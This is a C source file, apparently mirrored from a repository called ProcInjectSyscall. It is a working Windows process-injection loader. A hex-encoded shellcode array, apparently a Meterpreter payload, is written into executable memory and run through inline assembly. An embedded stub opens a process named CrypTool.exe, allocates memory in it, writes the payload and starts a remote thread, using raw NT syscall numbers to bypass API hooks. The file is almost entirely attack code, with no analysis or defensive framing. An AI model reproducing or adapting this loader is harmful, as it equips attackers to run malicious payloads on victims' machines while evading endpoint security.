mirror of
https://github.com/nixpal/ProcInjectSyscall
synced 2026-06-08 16:24:34 +00:00
59 lines
4.6 KiB
C
59 lines
4.6 KiB
C
|
|
#include <iostream>
|
|
#include <windows.h>
|
|
#include <stdlib.h>
|
|
|
|
|
|
|
|
|
|
|
|
const char *met = "\x81\xEC\xE8\x03\x00\x00\xEB\x06\x5A\xE9\x86\x01\x00\x00\xE8\xF5\xFF\xFF\xFF\xda\xd6\xbd\x35\xec\xf8\x9a\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x59\x83\xc6\x04\x31\x6e\x15\x03\x6e\x15\xd7\x19\x04\x72\x98\xe2\xf5\x83\xc6\x6b\x10\xb2\xd4\x08\x50\xe7\xe8\x5b\x34\x04\x83\x0e\xad\x25\x6c\xa1\x7a\x0f\xb4\x35\xf6\xb8\x89\x89\x5b\x84\x88\x75\xa6\xd9\x6a\x47\x69\x2c\x6b\x80\x3f\x5a\x84\x5c\x4b\xf6\x4a\xea\x09\xcb\x6b\x3c\xda\xb8\x2b\xc4\x60\x7e\xdf\x78\x6a\xaf\x94\xd9\x4c\x4e\x79\x89\x07\x18\x65\xaf\xd1\xed\xa9\x9e\x1e\x44\x5a\xd4\x6b\x56\x8a\x24\xac\x98\xfd\x4a\x80\x1a\xc6\x6d\x38\x69\x3c\x8e\xc5\x6a\x87\xec\x11\xfe\x17\x56\xd1\x58\xf3\x66\x36\x3e\x70\x64\xf3\x34\xde\x69\x02\x98\x55\x95\x8f\x1f\xb9\x1f\xcb\x3b\x1d\x7b\x8f\x22\x04\x21\x7e\x5a\x56\x8d\xdf\xfe\x1d\x3c\x09\x7e\xde\xbe\x36\x22\x48\x72\xfb\xdd\x88\x1c\x8c\xae\xba\x83\x26\x39\xf6\x4c\xe1\xbe\x8f\x5b\x12\x10\x37\x0b\xec\x91\x47\x05\x2b\xc5\x17\x3d\x9a\x66\xfc\xbd\x23\xb3\x68\xb4\xb3\xfc\xc4\xc8\xc2\x95\x16\xc9\xd5\x39\x9f\x2f\x85\x91\xcf\xff\x66\x42\xaf\xaf\x0e\x88\x20\x8f\x2f\xb3\xeb\xb8\xda\x5c\x45\x90\x72\xc4\xcc\x6a\xe2\x09\xdb\x16\x24\x81\xe9\xe7\xeb\x62\x98\xfb\x1c\x15\x62\x04\xdd\xb0\x62\x6e\xd9\x12\x35\x06\xe3\x43\x71\x89\x1c\xa6\x02\xce\xe3\x37\x32\xa4\xd2\xad\x7a\xd2\x1a\x22\x7a\x22\x4d\x28\x7a\x4a\x29\x08\x29\x6f\x36\x85\x5e\x3c\xa3\x26\x36\x90\x64\x4f\xb4\xcf\x43\xd0\x47\x3a\xd0\x17\xb7\xb8\xff\xbf\xdf\x42\x40\x40\x1f\x29\x40\x10\x77\xa6\x6f\x9f\xb7\x47\xba\xc8\xdf\xc2\x2b\xba\x7e\xd2\x61\x1a\xde\xd3\x86\x87\xd1\xae\xe7\x38\x12\x4f\xee\x5c\x13\x4f\x0e\x63\x28\x99\x37\x11\x6f\x19\x0c\x2a\xda\x3c\x25\xa1\x24\x12\x35\xe0\x90\x90\x90\x90\x89\x55\xA4\x31\xC0\x89\x45\xE8\x89\x45\xFC\xB8\x01\x00\x00\x00\x85\xC0\x74\x73\xEB\x08\x64\xFF\x15\xC0\x00\x00\x00\xC3\x6A\x04\x31\xDB\xB7\x30\x53\x8D\x5D\xE8\x53\x31\xC9\x51\x8D\x5D\xFC\x53\x6A\xFF\xB8\x18\x00\x00\x00\xE8\xDA\xFF\xFF\xFF\x85\xC0\x74\x09\x3D\x0D\x00\x00\xC0\x75\x05\x31\xC0\x8B\x45\xFC\xEB\x08\x64\xFF\x15\xC0\x00\x00\x00\xC3\x89\x45\xD0\x8D\x45\xF4\x50\x8B\x4D\xE8\x51\x8B\x55\xD0\x52\x6A\x05\xB8\x36\x00\x00\x00\xE8\xDD\xFF\xFF\xFF\x89\x45\xDC\x83\x7D\xDC\x00\x74\x0D\x8B\x45\xF4\x05\x00\x20\x00\x00\x89\x45\xE8\xEB\x84\x68\x78\x00\x65\x00\x68\x2E\x00\x65\x00\x68\x6F\x00\x6C\x00\x68\x54\x00\x6F\x00\x68\x79\x00\x70\x00\x68\x43\x00\x72\x00\x89\x65\xDC\x8B\x45\xD0\x83\xF8\x00\x74\x21\x8B\x5D\xD0\x8B\x53\x3C\x83\xFA\x00\x74\x0F\x89\xD6\x8B\x7D\xDC\xB9\x18\x00\x00\x00\xFC\xF3\xA6\xE3\x07\x03\x00\x89\x45\xD0\xEB\xD7\x8B\x43\x44\x89\x45\xCC\xEB\x08\x64\xFF\x15\xC0\x00\x00\x00\xC3\xC7\x45\xFC\x00\x00\x00\x00\xC7\x45\xF8\x00\x00\x00\x00\x8D\x45\xF8\x8B\x5D\xCC\x89\x5D\xF0\xC7\x45\xF4\x00\x00\x00\x00\x8D\x5D\xF0\xC7\x45\xD8\x18\x00\x00\x00\xC7\x45\xDC\x00\x00\x00\x00\xC7\x45\xE0\x00\x00\x00\x00\xC7\x45\xE4\x00\x00\x00\x00\xC7\x45\xE8\x00\x00\x00\x00\xC7\x45\xEC\x00\x00\x00\x00\x8D\x4D\xD8\xC7\x45\xD4\x00\x00\x00\x00\x53\x51\x68\xFF\xFF\x1F\x00\x8D\x5D\xD4\x53\xB8\x26\x00\x00\x00\xE8\x8E\xFF\xFF\xFF\xEB\x08\x64\xFF\x15\xC0\x00\x00\x00\xC3\xBB\x7d\x01\x00\x00\x89\x5D\xF8\xC7\x45\xFC\x00\x00\x00\x00\x6A\x40\x68\x00\x30\x00\x00\x8D\x5D\xF8\x53\x6A\x00\x8D\x5D\xFC\x53\xFF\x75\xD4\xB8\x18\x00\x00\x00\xE8\xCB\xFF\xFF\xFF\x8B\x45\xFC\x89\x45\xE0\xEB\x08\x64\xFF\x15\xC0\x00\x00\x00\xC3\x8D\x45\xF8\x50\x68\x7d\x01\x00\x00\xFF\x75\xA4\xFF\x75\xE0\xFF\x75\xD4\xB8\x3A\x00\x00\x00\xE8\xDC\xFF\xFF\xFF\xEB\x08\x64\xFF\x15\xC0\x00\x00\x00\xC3\x31\xC9\x51\x51\x51\x51\x51\x51\xFF\x75\xE0\xFF\x75\xD4\x51\x68\xFF\xFF\x1F\x00\xC7\x45\xFC\x00\x00\x00\x00\x8D\x5D\xFC\x53\xB8\xC1\x00\x00\x00\xE8\xCF\xFF\xFF\xFF\xEB\x08\x64\xFF\x15\xC0\x00\x00\x00\xC3\x6A\x00\x6A\x01\xFF\x75\xFC\xB8\x04\x00\x0D\x00\xE8\xE7\xFF\xFF\xFF";
|
|
|
|
|
|
int main()
|
|
{
|
|
|
|
__asm {
|
|
jmp ntStart
|
|
NtAlloc:
|
|
mov ebx, dword ptr fs:[0xc0]
|
|
call ebx
|
|
ret
|
|
|
|
ntStart:
|
|
sub esp, 0x14
|
|
push 0x40
|
|
push 0x3000
|
|
mov dword ptr[ebp-0xc], 0x390
|
|
lea ebx, dword ptr[ebp-0xc]
|
|
push ebx
|
|
xor ebx, ebx
|
|
push ebx
|
|
mov dword ptr[ebp-0x10], ebx
|
|
lea ebx, dword ptr[ebp-0x10] // allocated space
|
|
push ebx
|
|
push 0xffffffff
|
|
mov eax, 0x18
|
|
call NtAlloc
|
|
|
|
jmp ntWriteStart
|
|
ntWrite:
|
|
mov ebx, dword ptr fs:[0xc0]
|
|
call ebx
|
|
ret
|
|
ntWriteStart:
|
|
lea eax, dword ptr[ebp-0xc]
|
|
push eax
|
|
push 0x390
|
|
mov eax, met
|
|
push eax
|
|
push dword ptr[ebp-0x10] // allocated space
|
|
push 0xffffffff
|
|
mov eax, 0x3A
|
|
call ntWrite
|
|
jmp dword ptr[ebp-0x10]
|
|
|
|
}
|
|
|
|
|
|
} |